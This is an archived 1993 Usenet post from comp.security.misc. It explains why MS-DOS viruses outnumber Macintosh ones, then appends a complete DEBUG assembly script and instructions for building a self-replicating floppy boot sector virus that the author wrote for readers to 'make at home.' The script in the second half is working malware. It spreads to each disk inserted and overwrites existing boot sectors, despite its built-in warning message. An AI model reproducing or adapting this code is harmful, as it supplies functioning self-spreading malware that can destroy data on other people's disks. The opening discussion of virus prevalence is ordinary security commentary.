home *** CD-ROM | disk | FTP | other *** search
/ NetNews Usenet Archive 1992 #31 / NN_1992_31.iso / spool / comp / security / misc / 2407 < prev    next >
Encoding:
Text File  |  1993-01-02  |  11.0 KB  |  242 lines

  1. Newsgroups: comp.security.misc
  2. Path: sparky!uunet!newsflash.concordia.ca!mizar.cc.umanitoba.ca!news!buhr
  3. From: buhr@umanitoba.ca (Kevin Andrew Buhr)
  4. Subject: Re: Future OS virus immunity. (repost/long)
  5. In-Reply-To: adam@endor.uucp's message of 31 Dec 92 17:25:36 GMT
  6. Message-ID: <BUHR.93Jan2004842@ccu.umanitoba.ca>
  7. Sender: news@ccu.umanitoba.ca
  8. Nntp-Posting-Host: ccu.umanitoba.ca
  9. Organization: University of Manitoba, Canada
  10. References: <eronald.725752239@ruble> <1hv07gINN3mn@rave.larc.nasa.gov>
  11.         <1992Dec31.172536.16049@das.harvard.edu>
  12. Date: Sat, 2 Jan 1993 06:48:42 GMT
  13. Lines: 227
  14.  
  15. [ This is a repost...  the older version has been cancelled because of
  16.   a material typographical error and so I could make a few last minute
  17.   revisions. ;) ]
  18.  
  19. In article <1992Dec31.172536.16049@das.harvard.edu> adam@endor.uucp
  20. (Adam Shostack) writes:
  21. |
  22. |  Does anyone care to comment on why there are so many more MS-Dos
  23. |  viruses out there, and there doesn't seem to be any universally
  24. |  accepted tool (like Disinfectant) to stop viruses.  Or is this a false
  25. |  impression because I use a mac and have taken the time to find out
  26. |  about the tools available?
  27.  
  28. Three factors come immediately to mind.
  29.  
  30. The first is the difference in the number of PC compatible units and
  31. Macintosh units in service.  I would guess that the rate of spread for
  32. a virus would be proportional to the rate at which users share disks.
  33. I suspect this, in turn, would be proportional to the square of the
  34. number of units.  (If someone takes me up on this point, I'll explain
  35. my reasoning.)  Since there are more PC units than Mac units, PC viri
  36. spread at a much greater rate.
  37.  
  38. Even though the Mac OS seems to have some virus-friendly features (for
  39. example, if I'm not mistaken, a certain program on a floppy--the
  40. resource fork of a "desktop" object--is executed whenever it is popped
  41. into the machine, and this would allow a virus to become active
  42. without any "booting" taking place), the difference in sheer market
  43. size has a number of effects.  First, there are more PC virus writers
  44. than Mac virus writers in part because there are more PCs than Macs.
  45. Second, a virus writer--motivated, presumably, by the possibility of
  46. immortality through infamy--writes for the platform best able to
  47. spread his or her creation.
  48.  
  49. The second factor, and a significant one at that, is the geographic
  50. distribution of these platforms.  Frankly, the Macintosh isn't really
  51. popular in Bulgaria, where virus writing *and malicious distribution*
  52. is a perfectly legal hobby.  Some people have estimated that 90% of
  53. the new (innovative) viri that have been produced in recent years have
  54. been produced in virus-factory nations where the PC compatible has a
  55. virtual monopoly.  Hence, the really devious viri are PC viri.
  56.  
  57. The third factor is the relative effort involved in writing a PC virus
  58. and a Macintosh virus.  Most DOS implementations come with
  59. "DEBUG.EXE", a handy monitor utility that allows for limited assembly
  60. coding.  Also, since DOS is such a basic operating system, most DOS
  61. programmers know a great deal about machine interals (because they
  62. have to).  Finally, since DOS is so damn popular and so bare-boned, it
  63. is profitable and easy to write comprehensive ultra-technical
  64. reference manuals that tell a programmer everything he or she ever
  65. wanted to know about the PC's deepest, darkest secrets.
  66.  
  67. By way of illustration, I have included, after the main text of this
  68. post, a simple experimental PC virus you can make at home.  I wrote
  69. this in about fifteen minutes (and with a bad head cold, no less).
  70. The information I needed I got from a $20 reference book, though the
  71. same information is available from numerous free text files.  Anyone
  72. with a functioning human brain, a bit of spare time, and some
  73. rudimentary knowledge of machine language programming on the PC
  74. platform can try their hand at modifying an existing PC boot sector
  75. virus, like "Stoned", and release a variant that may or may not be
  76. detectable by existing anti-viral software.
  77.  
  78. Compare this to the world of Macintosh programming.  The Mac isn't
  79. bundled with any "DEBUG.EXE" counterpart.  Relatively fewer Mac
  80. programmers learn assembly language.  Moreover, most of the people
  81. programming for the Mac have shelled out $300 for their development
  82. software: they aren't likely to be high school closet crackers.
  83.  
  84. What's the result?  Well, PC anti-viral software programmers look like
  85. idiots, because their software is obsolete hours after it's released,
  86. and the number of varieties of PC viri far outnumber those on the Mac.
  87. Mac users, in turn, look around and wonder what all the fuss is about.
  88.  
  89. One estimate, posted in reply to your article, gave as around 500 the
  90. number of PC virus families which have been catalogued.  I suspect the
  91. actual number of "successful" virus families is many times larger than
  92. this: lack of communication or containment in large, computer-naive
  93. organizations have probably conspired to keep the others secret.
  94. While the Macintosh virus universe appears to be made up of fifty or
  95. so viri from time immemorial, the PC virus universe is made up of
  96. thousands of complex viri families and their associated mutations with
  97. more being created every day.
  98.  
  99. From what little I know of Mac OS, it would be a *much* friendlier
  100. virus writing environment than the PC, and there is certainly nothing
  101. special about the Mac that makes it easier to control the spread of
  102. new viri.  In conclusion, you can thank simple statistical principles
  103. (and the inexplicable popularity of the PC platform) for the
  104. relatively virus-free Macs.
  105.  
  106. Kevin Buhr <buhr@ccu.UManitoba.CA>
  107.  
  108. ---
  109.  
  110. As promised, here's a simple, relatively harmless, experimental PC
  111. boot virus.  The following procedure will write a copy of the
  112. experimental virus to a disk in drive A.
  113.  
  114. When this disk is booted, it tells the user to insert a system
  115. diskette and press a key.  When the user does this, the experimental
  116. virus writes a copy of itself to the new disk and reboots.  Again, the
  117. user is told that he or she must insert a system disk and press a key.
  118. This dumb little game continues until the user runs out of system
  119. disks or gets suspicious.  The experimental virus doesn't install
  120. itself in memory and doesn't change the hard drive: all it does is
  121. modify diskette boot sectors.  As an added precaution, the
  122. experimental virus announces itself as such, and explains to the user
  123. what he or she should do to avoid infection.
  124.  
  125. I think this virus illustrates a few important points:
  126.  
  127. 1.  I am in desperate need of attention and am also boastful about the
  128. most trivial of my accomplishments.
  129.  
  130. 2.  The user is an integral part of the virus's life cycle.  A
  131. computer system can be ridiculously secure, the operating system can
  132. be an iron curtain, but it won't mean anything if the virus can trick
  133. the user into doing something he or she shouldn't.
  134.  
  135. 3.  Viri aren't mysterious, arcane programs written by programming
  136. wizards.  Most are dull little toys that are easily outwitted with
  137. regular backups and a few basic precautions.  The rest are clever
  138. little toys that are easily outwitted with regular backups and a few
  139. basic precautions.
  140.  
  141. 4.  Writing a new PC virus is very easy, "DEBUG" is the product of an
  142. evil mind, and it and all those Cap'n Crunch whistles should be burned
  143. in a great big bonfire.
  144.  
  145. --------- CUT HERE ---------
  146.  
  147. Permission is granted to create this experimental PC boot sector virus
  148. without malicious intent on a single-user PC compatible computer owned
  149. by you and for your personal, experimental use.  Any modified versions
  150. must display the original warning message and give a possibly
  151. unknowledgeable user a reasonable chance to prevent the virus from
  152. spreading.
  153.  
  154. Permission is granted to distribute this experimental PC boot sector
  155. virus to others in either an active form (on a floppy disk boot
  156. sector) or in an inactive form (as a binary image contained in a file
  157. or as a text file explaining how to recreate it, for example) provided
  158. the receiver is made fully aware of the nature of the experimental
  159. virus, it is accompanied by this text, and my name is not associated
  160. with the experimental virus.
  161.  
  162. In particular, you are _not_ permitted to use this experimental virus
  163. or any derivative work in such a way that a user who is not aware of
  164. its nature may reasonably be expected to execute its code.
  165.  
  166. I accept no responsibility for the use of this experimental virus or
  167. any derivative work.  If you are unsure of your ability to understand
  168. the workings of this experimental virus and to control its spread,
  169. don't use it: take it at face value and trust that it works the way I
  170. said.
  171.  
  172. >> <C:\> copy con virus.mak
  173. >> a 100
  174. >> jmp 2a1      ; jump ahead to the rest of the program
  175. >>
  176. >> e 103 a 7 'WARNING:  This is an experimental boot sector virus.' a d
  177. >> e 13b 7   '          Ignore the instructions below, remove the' a d
  178. >> e 171 7   '          diskette from drive A, and shut off your' a d
  179. >> e 1a6     '          computer.' a d
  180. >> e 1bb a   '          Restart your computer from a "safe" diskette.' a d
  181. >> e 1f5 a   '          If you insert a system diskette and press a key,' a d
  182. >> e 232     '          that diskette will become infected!!' a d a a
  183. >> e 264 a   'Non-system disk.' a d
  184. >> e 277 a   'Insert system disk and press any key.' a d a 0
  185. >> a 2a1
  186. >> mov ax,7c0   ; boot sectors are loaded at paragraph 07c0h
  187. >> push ax      ; (just think of this section as housekeeping)
  188. >> push ax
  189. >> pop es
  190. >> pop ds
  191. >> mov si,3     ; display warning message and non-system disk error
  192. >> mov al,[si]  ; (this would be the bait)
  193. >> or al,al
  194. >> jz 2bb
  195. >> mov ah,0e
  196. >> mov bx,1
  197. >> int 10
  198. >> inc si
  199. >> jmp 2ab
  200. >> xor ah,ah    ; wait for user to press a key
  201. >> int 16       ; (at this point, user will have inserted a new disk)
  202. >> or al,al
  203. >> jz 2bb
  204. >> xor dx,dx    ; write a copy of this virus to the boot sector
  205. >> mov cx,1
  206. >> mov ax,301
  207. >> xor bx,bx
  208. >> int 13
  209. >> jnb 2d6
  210. >> cmp ah,06    ; we check for one error code and retry if we get it:
  211. >> jz 2c3       ; error 6 is a "disk was changed" code, which we can expect.
  212. >> int 19       ; and now, we restart the computer
  213. >>
  214. >> w 100,0,0,1  ; write the program we created to the boot sector on drive A
  215. >> q
  216. >> ^Z
  217. >> <C:\>
  218. >>
  219. >> [ At this point, insert a junkable formatted floppy disk in drive A... ]
  220. >>
  221. >> <C:\> debug <virus.mak
  222.  
  223. Now, you have infected the disk with a simple experimental boot sector
  224. virus.  To try it out, reboot from the floppy.  When prompted, insert
  225. another junk diskette (which must be already formatted) and press any
  226. key.  Try shutting off your computer and rebooting from the second
  227. diskette.  Wow!  The experimental virus has spread.
  228.  
  229. When you've finished playing with it, you can either avoid booting the
  230. infected diskettes (or heed the warning message and follow
  231. instructions if you forget) or you can copy your files off, reformat
  232. the disk, and copy your files back on.
  233.  
  234. If you know what you're doing, you can always convince a favorite
  235. utility to rewrite the floppy boot sector.  Most anti-virus software
  236. can be instructed to do this for you.
  237.  
  238. Don't try to infect a bootable floppy disk unless you don't want to
  239. boot from it any more.  This experimental virus erases existing boot
  240. sectors (unlike Stoned, which puts them aside where they are still
  241. accessible and can be recovered by the appropriate software).
  242.